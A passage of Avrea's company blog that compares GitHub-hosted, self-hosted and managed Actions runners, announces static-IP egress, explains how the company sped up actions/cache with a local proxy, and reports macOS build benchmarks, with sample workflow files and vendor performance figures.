(your hardware, your on-call), and **third-party managed** (drop-in fleets, often 2x faster or more). - Hosted to third-party is a label change, not a full migration. Self-hosting is the opposite. - The speed-ups come from both hardware and caching. How you [configure GitHub Actions caching](https://avrea.com/blog/github-actions-cache) and where the cache lives both matter. - GitHub’s proposed self-hosted runner fee (announced December 2025) is still postponed and not in effect as of June 2026, whatever some comparison pages claim. ## The three options at a glance | | GitHub-hosted | Self-hosted | Third-party managed | | --- | --- | --- | --- | | **Who runs the hardware** | GitHub | You | The provider | | **Setup** | None | High: you build and run the fleet | Usually one label change | | **Speed** | Baseline (commodity hardware) | Faster, but exactly how much varies a lot | Usually 2x or more faster | | **Observability** | Logs only | Whatever you instrument | Varies, but usually deep | | **Cost model** | Per-minute | Your own compute bill | Per-minute or flat-rate | | **Best for** | Standard, low-volume CI | Special hardware or private networks with resources to dedicate for CI | Teams that want faster CI without managing runner infrastructure | ``` Swipe to see more → ``` ## Option 1: GitHub-hosted runners GitHub provides a fresh environment for each job. Standard Linux runners have 2 vCPUs for private repositories and 4 vCPUs for public repositories; a 1-vCPU Linux option is also available. Larger runners, including x64 sizes up to 96 vCPUs and GPU configurations, are available on Team and Enterprise Cloud. Runner performance differs even at the same size. In [RunsOn’s November 5, 2026 benchmark](https://runs-on.com/benchmarks/runners/), Avrea led the four-vCPU x64 combined build comparison at 6m58s, versus GitHub’s 18m18s. Both runners have 16 GB of RAM. The ranking sums median Rust, TypeScript and Docker build-step times with build caches disabled; queueing and runner overhead are separate. See the [full provider results](https://avrea.com/blog/avrea-runson-build-benchmark). For serial compute, RunsOn’s [CPU benchmark](https://runs-on.com/benchmarks/github-actions-cpu-performance/) reports 4,503 PassMark single-thread points for Avrea and 2,306 for GitHub at 2 vCPU and 8 GB RAM, each the median of five runs. The GitHub entry is a 2-core larger runner with the same CPU and memory allocation as its standard private-repository runner. RunsOn also sells runners. More vCPUs help work that can run in parallel, but core count alone does not predict serial performance: GitHub’s tested runner sizes use different processors. Caching is a separate choice. GitHub provides 10 GB of cache storage per repository at no charge, and eligible accounts can raise the limit with paid storage. Workflows can reuse dependencies through [`actions/cache`](https://github.com/actions/cache) and Docker layers through BuildKit cache exports; a fresh runner does not mean rebuilding every layer. GitHub shows job and step durations, searchable logs, and aggregate usage and performance metrics. Per-step CPU and memory measurements need additional instrumentation or a runner provider that collects them. Our [observability guide](https://avrea.com/blog/github-actions-observability) covers those differences. **Pricing:** standard GitHub-hosted runners are free for public repositories. GitHub plans include $12 to $300 per month for eligible compute, shared by private and internal repository runners and cloud sandboxes. Team and Enterprise Cloud can also use it for eligible larger runners. Larger runners remain charged in public repositories. Beyond included usage, standard 2-core Linux x64 costs $0.006/min and the 1-core option costs $0.002/min. Larger-runner rates vary by configuration; the 5-core M2 Pro macOS runner costs $0.102/min. See [GitHub’s runner rates](https://docs.github.com/en/billing/reference/actions-runner-pricing) and [included usage](https://docs.github.com/en/billing/concepts/product-billing/github-actions). **Right call when:** builds are light, volume is low, or you would rather not own any infrastructure. For most public repos it is the correct default. ## Option 2: Self-hosted runners You register your own machines and GitHub schedules jobs onto them. Going self-hosted is what you do when you need something the hosted fleet can’t give you: specific hardware (GPUs, big disks, more cores), access to a private network, or data that can’t leave your environment. On paper it looks cheap: better hardware and more control for what seems like the cost of the compute alone. The real cost is mostly operational. You own provisioning, image building, caching, autoscaling, patching, and the page at 2am when the fleet wedges. The default runner is also persistent, so state leaks between jobs and you inherit a class of flaky failures unless you build ephemeral runners yourself. GitHub’s own [hosted-versus-self-hosted writeup](https://github.blog/enterprise-software/ci-cd/when-to-choose-github-hosted-runners-or-self-hosted-runners-with-github-actions/) is a good place to reason through the real total cost of ownership: the infrastructure, staffing, and support that the per-minute compute price hides. It is a useful read, though like this post it is of course not purely objective. They are in the business of selling you build minutes, after all. There is also a security cost that is easy to underestimate. That same non-ephemeral default means a single compromised job, from a malicious dependency or a poisoned action, can backdoor the runner and reach into the jobs that run after it. GitHub puts it plainly: self-hosted runners “do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code in a workflow” ([GitHub secure-use docs](https://docs.github.com/en/actions/reference/security/secure-use)). And because the runner usually sits inside your network, that foothold has line of sight to internal services, secrets, and the cloud metadata endpoint, which is why GitHub’s guidance is to put runners behind a zero-trust, defense-in-depth setup. It is not theoretical: attackers have used self-hosted runners as backdoors in the wild ([Sysdig](https://www.sysdig.com/blog/how-threat-actors-are-using-self-hosted-github-actions-runners-as-backdoors)). Public repos are even riskier, which is why GitHub says not to put self-hosted runners on them at all, but the exposure does not vanish on private ones. Tools can reduce the operational burden: [Actions Runner Controller (ARC)](https://github.com/actions/actions-runner-controller) for autoscaling on Kubernetes, [RunsOn](https://runs-on.com) for ephemeral runners in your own AWS account, [Actuated](https://actuated.com) for bring-your-own-hardware microVMs. They help, but you are still running infrastructure. **About the fee:** in December 2025 GitHub announced a $0.002/min charge on self-hosted minutes in private repos, set for March 1, 2026, then postponed it indefinitely after the backlash (paying GitHub to orchestrate hardware you already own did not land well). It has not taken effect as of June 2026. Comparison pages still citing it as live are wrong. **Right call when:** you need the hardware or the network access, the data-residency requirement is hard, and you have a platform team with the cycles to own it. ## Option 3: Third-party managed runners This is the middle path: faster runners without owning the fleet. You point `runs-on` at a managed provider and keep the rest of your workflow intact. The provider owns the runner fleet, caching layer, images, scaling, and maintenance. The difference from self-hosting is not just hardware speed. Self-hosted can be just as fast on a cold build if you rent the same class of hardware. The harder part is everything around it: fast cache restores, sane eviction, Docker layer reuse, package proxies, image updates, autoscaling, and keeping the fleet healthy as workloads change. That is the real case for a managed provider: you get the runner fleet, caching work, and maintenance without turning CI infrastructure into an internal product. At [Avrea](https://avrea.com/ci-runners), this is the work we focus on. Making the GitHub Actions cache up to 6x faster was one example, and we wrote up [how we made the cache faster](https://avrea.com/blog/how-we-made-github-actions-cache-up-to-6x-faster). This is now a real category, not just a cheaper GitHub runner market. There are [multiple options](https://avrea.com/github-actions-alternatives) with a slightly different focus. | Provider | What it focuses on | Pricing model | | --- | --- | --- | | **Avrea** | Speed plus per-step metrics, searchable logs, SSH into live jobs, and [Avrea AI](https://avrea.com/quality); Apple M5 Max for macOS and ARM | Per-minute, 3k free min/mo | | [**Blacksmith**](https://blacksmith.sh) | Fast, simple drop-in replacement on bare-metal CPUs with colocated cache | Per-minute | | [**Depot**](https://depot.dev) | Docker build acceleration and runners, plus a full CI engine (Depot CI) | Per-second | | [**Namespace**](https://namespace.so) | Deep caching, build acceleration, and CI observability | Usage/credit | | [**WarpBuild**](https://www.warpbuild.com) | Runners with a bring-your-own-cloud (BYOC) option | Per-minute | ``` Swipe to see more → ``` BuildJet, a well-known runner provider until recently, shut down its GitHub Actions service in 2026, with runners offline as of March 31, so it is not included above. For pricing, caching and benchmark results by provider, see our [GitHub Actions runner comparisons](https://avrea.com/alternatives). ## How to choose Start with the constraint, not just the feature list. **You’re just getting started, you need CI to work and your builds are light.** Stay on GitHub-hosted. Even with the quick migration, it might not be worth adding another vendor. **You need specific hardware, GPUs, or private-network access, and you have a platform team that can afford to own CI infrastructure.** Self-host, and use [ARC](https://github.com/actions/actions-runner-controller) or [RunsOn](https://runs-on.com) so you are not building the orchestration from scratch. **Your builds are slow and you don’t want a big project to fix it.** Use a third-party managed runner. This is the sweet spot for teams in the 50 to 500 engineer range, where CI runs hundreds of times a day and ten wasted minutes per run is a tax on everyone. One trend worth naming: as teams adopt AI coding tools, commit and PR volume climbs and CI is increasingly what can’t keep up. The faster you generate code, the more the runner becomes the bottleneck. But the runner is only the first one. Scaling CI is a moving target: speed up the hardware and jobs start queueing on concurrency limits; raise those and the cache thrashes against its configured storage limit; fix the cache and the flaky tests that were noise at ten PRs a day are constant at a hundred. Every jump in volume surfaces the next bottleneck, and the work is never finished. ## How to switch without rewriting workflows Hosted to third-party is a label swap. Install the provider’s GitHub App, change the label, done: ``` runs-on: avrea-ubuntu-latest   # was: ubuntu-latest ``` The only place you touch more than one line is matrix builds or reusable workflows that hard-code labels. Everything else (actions, secrets, triggers) stays put. The useful move is to duplicate the workflow and run both in parallel for a day. You want real numbers on your own builds, and the first runs on a new provider are cold-cache, so they won’t reflect steady state. Compare warm. Self-hosting is a different category of work. No label stands up a fleet, so budget for the build and the ongoing operations, not a migration afternoon. ## Frequently asked questions **What is a GitHub Actions runner?** The machine that executes a workflow job. GitHub-hosted runners are managed by GitHub and destroyed after each job. Self-hosted runners are machines you register and maintain yourself. **What is the difference between GitHub-hosted and self-hosted runners?** GitHub-hosted: GitHub owns the hardware, zero setup, per-minute billing. Self-hosted: you own the hardware and all the operational work, no per-minute GitHub charge today, full control over the environment. **Is there a fee for self-hosted GitHub Actions runners?** Not currently. GitHub announced a $0.002/min charge on self-hosted minutes in private repos in December 2025, planned for March 1, 2026, then postponed it indefinitely after community pushback. As of June 2026 it is not in effect. Some comparison pages still list it as active. It isn’t. **Are third-party GitHub Actions runners safe?** You are trusting a third party with your code and secrets, so vet them. Security-first providers should isolate each job in a clean ephemeral VM and publish clear security/compliance details. **What is the fastest GitHub Actions runner?** It depends on your workload, so benchmark on your own build. **Do I have to rewrite my workflows to switch runners?** No, moving from hosted to a third-party provider is a `runs-on` label change. Self-hosting is more involved because you also have to stand up and maintain the runners. **Can I run macOS or ARM builds?** Yes. GitHub offers both, with macOS as its priciest tier. Several third-party providers offer Apple Silicon and ARM Linux too. Avrea runs both on [M5 Max](https://avrea.com/blog/m5-max-runners-macos-arm-linux-ci-on-apple-silicon) with Xcode caching. The `runs-on` line is one of the easiest levers you have on CI speed, and most teams never pull it. If your builds are slow, that is the first place to look, long before you start splitting test suites. ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/github-actions-static-ip # Static IPs for GitHub Actions without managing runners Use dedicated Avrea static IPs to allowlist CI traffic. Choose one address or several across supported datacenters, while jobs run in ephemeral VMs. [Blog](https://avrea.com/blog) Product Updates Use dedicated Avrea static IPs to allowlist CI traffic. Choose one address or several across supported datacenters, while jobs run in ephemeral VMs. [Hannu Valtonen](https://avrea.com/team/hannu-valtonen)13 August 2026 Your deploy job has valid credentials, but the firewall rejects it because the runner's IP changed. Avrea now sends traffic to services protected by IP allow-lists through dedicated static IPv4 addresses, while your GitHub Actions jobs still run on clean ephemeral VMs. #### Dynamic runner IPs do not belong in production allow-lists Standard GitHub-hosted runners use dynamically assigned addresses from shared infrastructure. GitHub publishes the address ranges through its website but the list is large and is updated weekly, and GitHub [does not recommend using it as an allow-list for internal resources](https://docs.github.com/en/actions/reference/runners/github-hosted-runners). That leaves a bad set of options: open the firewall to broad shared ranges, operate self-hosted runners behind your own NAT gateway, or rely on credentials alone. CI should not force that choice. A build that deploys to production, downloads from a private package registry, calls a payment processor, or runs migrations against a protected database needs a predictable network identity. It should not need a permanent runner to get one. #### Share static IPs across GitHub Actions jobs Avrea’s Network egress settings let an organization reserve one or more static IPs in supported datacenters. Jobs share the addresses enabled by its routing policy. Organizations still on the legacy configuration keep a single address. Add every routing-enabled address to your services’ allow-lists, or restrict the policy to a specific subset. The address belongs to the organization, not to a VM or repository. A fresh VM still starts for every job and disappears when the job finishes. The next VM uses an address from the same routing policy. Static IPs do not keep a VM running between jobs; configured caches and [persistent disks](https://docs.avrea.com/persistent-disks/) can still supply files to the new VM. Existing Avrea customers do not need to change a workflow. If you are moving from standard GitHub-hosted runners, the [Avrea migration remains a one-line label change](https://docs.avrea.com/getting-started/). #### Keep ephemeral runners without managing a NAT gateway Self-hosting can produce a known egress IP. It also makes your team responsible for runner images, security updates, autoscaling, capacity, and cleanup. The NAT gateway is the easy part. The runner fleet behind it is the job that keeps growing. Avrea keeps that work on our side. Your workflow gets a clean hosted VM and your network team gets a stable address. There is no long-lived machine to patch and no shared workspace to scrub between jobs. Fintech teams can restrict payment and banking APIs to one source. Platform teams can expose a private package registry without accepting traffic from a cloud provider’s full runner range. Deployment jobs can reach protected production endpoints without placing the entire CI fleet inside the production network. #### Static IP and egress policy solve different sides of the connection A static source IP tells your service which runner traffic it may accept. An egress policy tells the runner which destinations it may contact. Used together, they put a boundary on both ends of the connection. Your database firewall can allowlist Avrea’s static IPs. Avrea’s [per-repository egress firewall](https://avrea.com/blog/egress-firewall-defense-in-depth) limits outbound destinations; required platform connections remain allowed. #### Reserve addresses and enable routing Open **Settings → Network egress**. Reserve an IP, add it to your service allow-lists, then enable routing and select **Dedicated static IPs**. The [network egress guide](https://docs.avrea.com/static-ip/) also covers the legacy single-IP switch. Each reserved IP costs **$100 per month**, metered at $3.33 per started UTC day. Disabling routing retains the reservation and its charges; release the address to end them once jobs and network cleanup have drained. Behind the setting, Avrea routes outbound IPv4 traffic to your destinations through an encrypted tunnel to an Avrea-managed router, which presents the selected reserved address. Avrea service traffic, including colocated cache traffic, stays on its direct path so the static route does not get in the way of build performance. [Enable static-IP egress in the Avrea console](https://console.avrea.com). Dedicated addresses, without a runner fleet to maintain. ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/how-we-made-github-actions-cache-up-to-6x-faster # How we made GitHub Actions cache up to 6x faster On GitHub Actions, a 1 GB actions/cache restore takes 14 seconds. On Avrea, the same workflow, same client: 2.9 seconds. [Blog](https://avrea.com/blog) CI/CD On GitHub Actions, a 1 GB actions/cache restore takes 14 seconds. On Avrea, the same workflow, same client: 2.9 seconds. Up to 6x faster across cache sizes from 1 KB to 1 GB, with 3x tighter variance. [Leo Lännenmäki](https://avrea.com/team/leo-lannenmaki)21 May 2026 On GitHub Actions, a 1 GB actions/cache restore takes 10-20 seconds. On Avrea, the same workflow, same client: less than 3 seconds. Up to 6x faster across cache sizes from 1 KB to 1 GB, with 3x tighter variance. During my first months at Avrea, engineering cache infrastructure has been by far my favorite challenge to work on. The work started with [`actions/cache`](https://github.com/actions/cache), which powers much of the actions ecosystem. All of the setup-* actions call it under the hood: [`setup-node`](https://github.com/actions/setup-node), [`setup-python`](https://github.com/actions/setup-python), [`setup-go`](https://github.com/actions/setup-go), [`setup-java`](https://github.com/actions/setup-java), [`setup-dotnet`](https://github.com/actions/setup-dotnet). So does Docker Buildx’s [type=gha backend](https://docs.docker.com/build/cache/backends/gha/). Making [`actions/cache`](https://github.com/actions/cache) fast makes the rest of the ecosystem fast. And on GitHub-hosted runners, it’s slow. ## Why the default is slow The interface of [`actions/cache`](https://github.com/actions/cache) is good. The amount and versatility of tools built on top of it are a testament to it. We were only looking to make it faster. GitHub stores cache entries in [Azure Blob Storage](https://azure.microsoft.com/en-us/products/storage/blobs). Your GitHub workflows most [likely also run](https://www.theverge.com/tech/796119/microsoft-github-azure-migration-move-notepad) on Azure, but the latency between these two is not great. The protocol used adds to the latency. The [v2 GHA cache API](https://github.com/actions/cache/discussions/1510) uses [Twirp](https://twitchtv.github.io/twirp/docs/intro.html), and a download is two phases: first you call `GetCacheEntryDownloadURL`, get back a signed URL, then you do the actual `GET`. That’s an extra round-trip before bytes flow. Now you have a floor on cache speed that’s “RTT to wherever the cache lives, twice, plus the time the transfer takes.” *Sequence diagram of the actions/cache restore flow* We can’t collapse the two phases as the logic is baked into the client. But putting the API layer on the same host and co-locating the storage layer mitigates the problem. The harder thing is getting the runner to actually use our cache instead of Azure. ## Why making the cache fast is hard It’s relatively easy to build a fast cache in isolation. But that’s not the problem we are solving here. The actual problem is closer to “build a drop-in replacement for an existing cache, with all of its constraints, that also happens to be fast.” There are six things you don’t get to change: **(Most of) the environment.** [GitHub Actions Runner Images](https://github.com/actions/runner-images) execute [GitHub workflows](https://docs.github.com/en/actions/concepts/workflows-and-actions/workflows). What’s installed on the machine and how you interact with it is fixed. We could ask the user to make changes to their workflow [yaml](https://docs.github.com/en/actions/reference/workflows-and-actions/workflow-syntax), but we’d rather change the runtime than the workflow. Luckily we can choose the machines that run the runners. And we chose *fast* machines. **The client.** [`actions/cache`](https://github.com/actions/cache) is JavaScript running inside [Node](https://nodejs.org/) inside the user’s runner. That’s code outside of our control and that would be hard to change without breaking backwards compatibility or requiring the user to adopt another action. So every optimization has to live outside of the environment and the client code. **The protocol.** The client speaks a specific set of Twirp calls and uses a specific subset of Azure Blob HTTP semantics. **The security model.** GitHub Actions cache has [access rules](https://docs.github.com/en/actions/reference/workflows-and-actions/dependency-caching#restrictions-for-accessing-a-cache): branch-scoped reads, default-branch fallback, base-ref access for PRs. It’s [difficult](https://venturebeat.com/security/shai-hulud-worm-172-npm-pypi-packages-valid-provenance-ci-cd-audit) to secure GitHub Actions in general. At the bare minimum we must enforce the same scoping rules and security boundaries GitHub does itself. **The VMs are ephemeral.** Every job runs in a fresh VM that is killed when the job ends. So nothing, including caches, can persist on the machine itself. Some form of attached storage, like sticky disks, is one solution but that comes with other tradeoffs. GitHub’s choice, and ours, is a network call to a cache service. **Scale.** The storage layer must sustain high concurrent request volume and hold cache entries for all of our customers. Making the cache fast means working within these constraints. ## A local proxy that speaks the cache protocol *Architecture overview* Our hosts ship with a small Go program that listens on `:443` and speaks the same TLS endpoint the GitHub cache client expects to find. The runner image trusts a CA we provision and the proxy presents a cert signed by that CA. The proxy splits traffic two ways. Cache paths (`/twirp/github.actions.results.api.v1.CacheService/*` and `/blobs/*`) it handles locally. Everything else it forwards untouched to GitHub. The locally-handled side implements a GitHub-compatible API surface. It’s only four endpoints (`CreateCacheEntry`, `FinalizeCacheEntryUpload`, `GetCacheEntryDownloadURL`, plus `PUT/GET /blobs/...`). The blob endpoints speak [Azure’s block blob](https://learn.microsoft.com/en-us/rest/api/storageservices/understanding-block-blobs--append-blobs--and-page-blobs) upload semantics for the subset the `actions/cache` client requires. Every request carries the workflow’s `ACTIONS_RUNTIME_TOKEN`, a JWT signed by GitHub. We verify the signature against GitHub’s JWKS and use two claims to scope the request: `repository_id` and `ac`, a JSON-encoded list of `{ref, permission}` entries. The `ac` claim controls which refs the workflow can read and write. Skip any of this and you’ve built a cross-branch cache poisoning hole or worse, something that can access entries cross-repo. ## What it actually saves you *Restore time by cache size with speedup line, GitHub-hosted vs Avrea (n=50)* | Cache size | GitHub-hosted | Avrea | Saved | Speedup | GitHub throughput | Avrea throughput | | --- | --- | --- | --- | --- | --- | --- | | 1 KB | 418 ms | 188 ms | 230 ms | 2.2x | 0.002 MB/s | 0.005 MB/s | | 5 KB | 753 ms | 182 ms | 571 ms | 4.1x | 0.007 MB/s | 0.03 MB/s | | 10 KB | 402 ms | 182 ms | 220 ms | 2.2x | 0.02 MB/s | 0.05 MB/s | | 50 KB | 436 ms | 180 ms | 256 ms | 2.4x | 0.11 MB/s | 0.27 MB/s | | 100 KB | 994 ms | 199 ms | 796 ms | 5.0x | 0.10 MB/s | 0.49 MB/s | | 500 KB | 470 ms | 193 ms | 277 ms | 2.4x | 1.0 MB/s | 2.5 MB/s | | 1 MB | 1.19 s | 193 ms | 1.00 s | 6.2x | 0.84 MB/s | 5.2 MB/s | | 5 MB | 871 ms | 210 ms | 660 ms | 4.1x | 5.7 MB/s | 24 MB/s | | 10 MB | 1.51 s | 230 ms | 1.28 s | 6.6x | 6.6 MB/s | 43 MB/s | | 50 MB | 1.45 s | 440 ms | 1.01 s | 3.3x | 34 MB/s | 113 MB/s | | 100 MB | 1.96 s | 508 ms | 1.45 s | 3.9x | 51 MB/s | 197 MB/s | | 500 MB | 5.29 s | 1.58 s | 3.71 s | 3.4x | 94 MB/s | 316 MB/s | | 1 GB | 14.10 s | 2.89 s | 11.21 s | 4.9x | 73 MB/s | 354 MB/s | These are end-to-end step durations: the measurement starts when `actions/cache/restore` begins and stops when the step exits. It includes transfer, decompression, file IO, and everything the action does in between. Not the peak MB/s download speed. Small caches, small wins. Per-request overhead dominates when the payload is small, and there’s lots of variance in GH’s small-cache latency. Bigger entries are where Avrea really shines, and not just on speed: GitHub-hosted restores show a 4-6x spread between fastest and slowest iteration at the same size; Avrea typically stays within 1.5-2x. The min/max spread across iterations tells the variance story even more clearly: *Restore time by cache size, GitHub-hosted vs Avrea, with min/max whiskers* *Throughput by cache size, GitHub-hosted vs Avrea, with min/max whiskers* When you run on Avrea runners, you get these speedups out of the box in all your workflows that use `actions/cache` or any of the many other actions built on top of it, like `setup-node`. For workflow examples, cache keys, and troubleshooting, see our [guide to GitHub Actions caching](https://avrea.com/blog/github-actions-cache). ## How we measured it Measuring was harder than I initially thought. Both our system and GitHub behave differently at different cache sizes and both systems experience variance, although at different levels. And because latency dominates smaller cache sizes it’s sometimes harder to spot real gains. The “Avrea is N× faster” shape only started to show once we pooled enough runs. We measure step duration, not transfer rate. The numbers in the charts are the time the CI step actually takes, not the peak speed of bytes over the wire. Any cache restore has decompression and file-write overhead, and that overhead is a bigger fraction of total time when transfer is fast. Faster CPU and disk help here. The Node-based `actions/cache` also caps how fast bytes can be processed. Every number above is the median of 50 `actions/cache/restore` step durations. We ran 5 iterations across 10 workflow runs of a sweep workflow that generates a random file of the target size, saves it to the cache, and then restores it on a fresh runner. Here’s the minimal form, for the 100 MB tier: ``` name: cache-bench on: workflow_dispatch jobs: populate: runs-on: avrea-ubuntu-latest steps: - name: Generate 100 MB run: dd if=/dev/urandom of=test.bin bs=1M count=100 - name: Save to cache uses: actions/cache/save@v5 with: path: test.bin key: bench-${{ github.run_id }} measure: needs: populate runs-on: avrea-ubuntu-latest steps: - name: Restore from cache # this step's duration is the benchmark uses: actions/cache/restore@v5 with: path: test.bin key: bench-${{ github.run_id }} ``` For the GitHub-hosted baseline, the same workflow runs on `runs-on: ubuntu-latest` instead. ## What’s next Our cache is fast now. But as with any type of optimization work, it is never done. Fixing one thing just moves the bottleneck somewhere else. We have ideas on how to squeeze even more speed out of the constrained environment that requires maintaining `actions/cache` compatibility. But even if we manage to make it faster, the reality is that while `actions/cache` is very useful in a multitude of caching situations, it is less than ideal for cases where you need to cache many small entries, like when you compile code. But that’s a topic for a follow up post! [Sign up](https://console.avrea.com/) and change your workflows to `runs-on: avrea-ubuntu-latest` to enjoy the benefits of optimizations we’ve made. And if optimization problems excite you, please be in touch. [We’re hiring](https://avrea.com/careers). ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/ios-macos-ci-benchmark # iOS and macOS CI benchmark: Avrea is 3-23x faster than GitHub Actions On GitHub Actions' standard macOS runner, a Firefox for iOS build takes over 12 minutes and on Avrea with a warm cache it takes just under 2 minutes. [Blog](https://avrea.com/blog) CI/CD On GitHub Actions' standard macOS runner, a Firefox for iOS build takes over 12 minutes and on Avrea with a warm cache it takes just under 2 minutes. Mastodon, built with Tuist, goes from 4 minutes 30 seconds to 12 seconds. [Leo Lännenmäki](https://avrea.com/team/leo-lannenmaki)1 October 2026 On GitHub Actions' standard macOS runner, a Firefox for iOS build takes over 12 minutes and on Avrea with a warm cache it takes just under 2 minutes. Mastodon, built with Tuist, goes from 4 minutes 30 seconds to 12 seconds. iOS CI tends to be slow and/or expensive. Hosted macOS runners tend to be quite small: GitHub’s standard macos-26 runner is [a 3 vCPU M1 with 7 GB of memory](https://docs.github.com/en/actions/reference/runners/github-hosted-runners). Their larger 5 vCPU runner is about three times faster and [costs 65% more per minute](https://docs.github.com/en/billing/reference/actions-runner-pricing). We benchmarked a selection of open source apps to measure what makes Apple ecosystem builds fast on Avrea. ## What Avrea does for Apple builds Avrea’s macOS runners are [Apple M5 Max machines](https://avrea.com/blog/m5-max-runners-macos-arm-linux-ci-on-apple-silicon), and they speed up Apple builds with three caching layers. The caches are independent but they work the best when used together. **Xcode compilation cache**. Xcode can cache the output of Swift and Clang compile steps, keyed by a hash of its inputs, and fetch it from a remote store instead of compiling again. Avrea stores the output in a colocated cache, so a new build reuses what earlier builds have already compiled. This covers Xcode projects, workspaces and Swift packages, including package dependencies. [Apple: build settings reference](https://developer.apple.com/documentation/xcode/build-settings-reference) **Tuist module cache.** Tuist generates Xcode projects from Swift manifests. Its cache works a level higher than Xcode’s: targets you are not changing are swapped for prebuilt frameworks, so they are neither compiled nor linked. Add a fullHandle like “my-org/my-app” to Tuist.swift to use it. [Tuist docs: module cache](https://tuist.dev/en/docs/guides/features/cache/module-cache) **Swift package registry.** SwiftPM normally clones every dependency’s git repository. A package registry ([SE-0292](https://github.com/swiftlang/swift-evolution/blob/main/proposals/0292-package-registry-service.md)) serves each version as a single archive instead. Avrea runs one colocated for public GitHub packages and for your private packages. [SwiftPM: using a package registry](https://github.com/swiftlang/swift-package-manager/blob/main/Documentation/PackageRegistry/PackageRegistryUsage.md) | Layer | What it skips | Applies to | Setup | | --- | --- | --- | --- | | Compilation cache | Recompiling unchanged files | Any Xcode 26 build | None | | Tuist module cache | Compiling and linking unchanged targets | Tuist projects | fullHandle in Tuist.swift | | Package registry | Cloning dependency git history | Xcode and SwiftPM package dependencies (exact versions) | Xcode: none. SwiftPM and Tuist: --replace-scm-with-registry | ## How we ran the test We built a few open-source apps at pinned commits: [Firefox](https://github.com/mozilla-mobile/firefox-ios), [Signal](https://github.com/signalapp/Signal-iOS), [Mastodon](https://github.com/mastodon/mastodon-ios) (as a plain Xcode project and generated with Tuist, from Tuist’s [cache-benchmark](https://github.com/tuist/cache-benchmark)), [Wikipedia](https://github.com/wikimedia/wikipedia-ios) and [Pocket Casts](https://github.com/Automattic/pocket-casts-ios) on iOS, and [iTerm2](https://github.com/gnachman/iTerm2), [CotEditor](https://github.com/coteditor/CotEditor), [Sequel Ace](https://github.com/Sequel-Ace/Sequel-Ace) and [NetNewsWire](https://github.com/Ranchero-Software/NetNewsWire) on macOS. | | GitHub standard | GitHub larger | Avrea | | --- | --- | --- | --- | | Runner label | macos-26 | macos-26-xlarge | avrea-macos-latest-8-vcpu | | Chip | M1 | M2 Pro | M5 Max | | vCPU / RAM | 3 / 7 GB | 5 / 14 GB | 8 / 24 GB | | Xcode | 26.5; 26.6 for Signal and Sequel Ace | 26.5; 26.6 for Signal and Sequel Ace | 26.5; 26.6 for Signal and Sequel Ace | All times are the build step only: no checkout, no package downloads, and tests are compiled but not run. Avrea numbers are the stock workflow with a warm cache unless a table says no cache. GitHub numbers have no cache. Here is the shape of the workflow we measured, for Mastodon: ``` name: Build on: pull_request: jobs: build: runs-on: avrea-macos-latest-8-vcpu steps: - uses: actions/checkout@v7 - name: Build run: >- xcodebuild -project Mastodon.xcodeproj -scheme Mastodon -destination 'platform=iOS Simulator,name=iPhone 17' build ``` On GitHub the same workflow runs with runs-on: macos-26. ## Results | Project | GitHub | GitHub larger | Avrea, warm cache | vs GitHub | vs larger | | --- | --- | --- | --- | --- | --- | | Firefox (test build) | 747.6 s | 308.8 s | 118.9 s | 6.3x | 2.6x | | Signal (test build) | 719.3 s | 235.5 s | 129.8 s | 5.5x | 1.8x | | Mastodon (Tuist) | 269.8 s | 82.3 s | 11.8 s | 22.8x | 7.0x | | Mastodon | 279.4 s | 89.3 s | 31.8 s | 8.8x | 2.8x | | Wikipedia (test build) | 401.4 s | 211.3 s | 43.8 s | 9.2x | 4.8x | | Wikipedia | 159.2 s | 70.6 s | 32.7 s | 4.9x | 2.2x | | Pocket Casts | 554.0 s | 206.9 s | 73.6 s | 7.5x | 2.8x | | iTerm2 (macOS) | 386.7 s | 126.6 s | 29.6 s | 13.1x | 4.3x | | CotEditor (macOS, test build) | 192.5 s | 88.0 s | 25.8 s | 7.5x | 3.4x | | Sequel Ace (macOS, test build) | 232.6 s | 88.9 s | 26.6 s | 8.7x | 3.3x | | NetNewsWire (macOS) | 81.3 s | 44.6 s | 26.5 s | 3.1x | 1.7x | The longer the build time, the more there is to save. Two of the larger open-source iOS apps, Firefox and Signal, take about 12 minutes per build on GitHub’s standard runner. Mastodon with Tuist gains the most, as two of our caches apply. NetNewsWire, a small Mac app, gains the least: there isn’t much to compile in the first place. ## What makes it faster ### The machine If we turn off the caches, the speedup comes from hardware alone: | Project | GitHub | GitHub larger | Avrea | vs GitHub | vs larger | | --- | --- | --- | --- | --- | --- | | Firefox (test build) | 747.6 s | 308.8 s | 139.6 s | 5.4x | 2.2x | | Signal (test build) | 719.3 s | 235.5 s | 122.0 s | 5.9x | 1.9x | | Mastodon (Tuist) | 269.8 s | 82.3 s | 39.1 s | 6.9x | 2.1x | | Mastodon | 279.4 s | 89.3 s | 45.3 s | 6.2x | 2.0x | | Wikipedia (test build) | 401.4 s | 211.3 s | 98.5 s | 4.1x | 2.1x | | Wikipedia | 159.2 s | 70.6 s | 35.9 s | 4.4x | 2.0x | | Pocket Casts | 554.0 s | 206.9 s | 101.2 s | 5.5x | 2.0x | | iTerm2 (macOS) | 386.7 s | 126.6 s | 66.1 s | 5.9x | 1.9x | | CotEditor (macOS, test build) | 192.5 s | 88.0 s | 45.8 s | 4.2x | 1.9x | | Sequel Ace (macOS, test build) | 232.6 s | 88.9 s | 34.7 s | 6.7x | 2.6x | | NetNewsWire (macOS) | 81.3 s | 44.6 s | 22.4 s | 3.6x | 2.0x | An M5 Max builds these apps 3.6 to 6.9 times faster than GitHub’s standard runner and about 2 times faster than its larger one. The larger runner closes a lot of the gap, but it costs more per minute than Avrea does (see below). 